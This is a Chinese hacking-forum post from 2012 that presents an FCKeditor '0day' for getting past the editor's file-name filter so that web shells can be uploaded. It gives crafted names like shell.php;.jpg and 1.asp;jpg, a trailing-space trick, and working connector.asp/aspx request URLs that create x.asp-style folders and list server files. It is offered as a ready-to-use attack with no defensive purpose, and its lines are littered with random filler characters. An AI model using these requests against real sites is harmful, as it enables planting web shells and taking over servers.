找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2410|回复: 0
打印 上一主题 下一主题

FCK 0day FCKeditor 建立文件夹,上传文件时"."变"_"的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:27:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg! t% \) f, o: A6 w# o: Q" P+ G7 w4 r

# E# v# T9 ^4 h提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。  h+ Z9 I2 |1 N7 }
3 R  W# g( p' y3 a& K
继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
- E$ Q$ r4 B: b2 V9 y! l
) H7 U1 W% q3 m. m( R6 p突破建立文件夹:4 Z7 v9 h. F% v: X8 J
3 r: M2 ^- ]6 Y" t; g
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp/ O: T% J, i* `1 o/ o6 l  U4 h
4 |& i0 C! u; v- {/ G# i
参数:# F+ v: X( [' K- q( h0 ]
, m2 w: Z  u3 f
当前目录名:CurrentFolder=/qing.asp
; H! w9 |4 x8 K6 \- h3 G# I+ P8 D1 s. K+ N
新的目录名:NewFolderName=x.asp
' W& U$ J" |4 U: d+ f0 }2 x/ |1 }2 H4 G
其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……; R+ b6 p! T$ }9 k4 F+ e, `
) U( j; \" _7 m6 i4 q* f) r5 ^, y
那么 x.asp 就已经建立生成了,此方法百试百灵!
4 j8 k0 U( ?, {3 h- ?$ O
2 ]2 H  i2 c- o- {- C. Z6 o新建文件夹参数 x.asp,基本都能搞定。' i& r0 }1 H$ m

% D/ M3 p$ Z  G# T) Y下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建
+ q4 f. z: Y4 W8 ~$ z3 I0 Y
0 `, _: o- a, \, P, r( p7 taspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp
$ e: K9 a- P0 r: {2 r2 {. J1 V9 e" c' K. U1 c0 [  A
获取文件列表
6 Q) n" Y+ W; M! I       aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F: q1 o& h3 C! V* E2 K! J' `

) x" B: X  ^6 \4 H% i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表